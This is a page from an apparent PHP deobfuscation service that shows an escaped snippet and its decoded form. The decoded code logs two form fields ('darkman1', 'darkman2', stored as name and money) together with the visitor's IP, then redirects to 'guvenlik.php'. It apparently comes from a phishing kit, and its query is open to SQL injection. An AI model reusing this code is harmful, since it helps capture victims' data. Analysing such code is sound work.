Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if ($_POST && !empty($_POST["\x64\x61\162\x6b\155\141\156\x31"]) && !empty($_POST["\144\x..

Decoded Output download

<?   if ($_POST && !empty($_POST["darkman1"]) && !empty($_POST["darkman2"])) { $ad = htmlspecialchars($_POST["darkman1"]); $money = htmlspecialchars($_POST["darkman2"]); session_start(); $date = date("d.m.Y H:i"); $existing_record = $db->query("SELECT * FROM sazan WHERE ip='{$ip}'")->fetch(PDO::FETCH_ASSOC); if ($existing_record) { $query = $db->prepare("UPDATE sazan SET ad=?, money=?, sound=?, date=? WHERE ip=?"); $update = $query->execute(array($ad, $money, "1", $date, $ip)); } else { $query = $db->prepare("INSERT INTO sazan SET ip=?, date=?, ad=?, money=?, sound=?"); $insert = $query->execute(array($ip, $date, $ad, $money, "1")); } if ($insert || $update) { header("Location: guvenlik.php"); die; } } 
 ?>

Did this file decode correctly?

Original Code

 if ($_POST && !empty($_POST["\x64\x61\162\x6b\155\141\156\x31"]) && !empty($_POST["\144\x61\x72\153\x6d\x61\156\62"])) { $ad = htmlspecialchars($_POST["\x64\x61\x72\x6b\155\141\x6e\61"]); $money = htmlspecialchars($_POST["\144\141\x72\x6b\x6d\x61\x6e\x32"]); session_start(); $date = date("\144\x2e\155\56\131\40\x48\72\151"); $existing_record = $db->query("\123\105\x4c\105\103\124\40\x2a\x20\x46\122\117\x4d\40\163\x61\172\x61\156\40\127\x48\x45\x52\x45\40\x69\160\75\47{$ip}\47")->fetch(PDO::FETCH_ASSOC); if ($existing_record) { $query = $db->prepare("\125\120\x44\x41\x54\x45\x20\163\141\172\141\156\40\123\105\124\40\x61\x64\x3d\77\54\40\x6d\x6f\x6e\145\x79\x3d\77\x2c\x20\163\x6f\165\156\x64\75\x3f\x2c\40\x64\141\164\145\x3d\77\x20\x57\110\105\x52\105\40\x69\160\x3d\77"); $update = $query->execute(array($ad, $money, "\x31", $date, $ip)); } else { $query = $db->prepare("\x49\116\123\105\122\x54\40\111\116\x54\x4f\x20\163\141\x7a\141\x6e\x20\123\105\x54\x20\x69\160\x3d\77\54\40\x64\x61\164\x65\x3d\x3f\x2c\40\141\144\75\77\54\40\155\157\x6e\x65\171\x3d\77\54\40\163\x6f\165\x6e\x64\75\77"); $insert = $query->execute(array($ip, $date, $ad, $money, "\61")); } if ($insert || $update) { header("\114\x6f\143\x61\164\x69\157\x6e\72\40\x67\x75\x76\145\x6e\154\151\x6b\56\160\x68\160"); die; } }

Function Calls

None

Variables

None

Stats

MD5 befbb8a5d4ccd3e79fb6575f97311e76
Eval Count 0
Decode Time 58 ms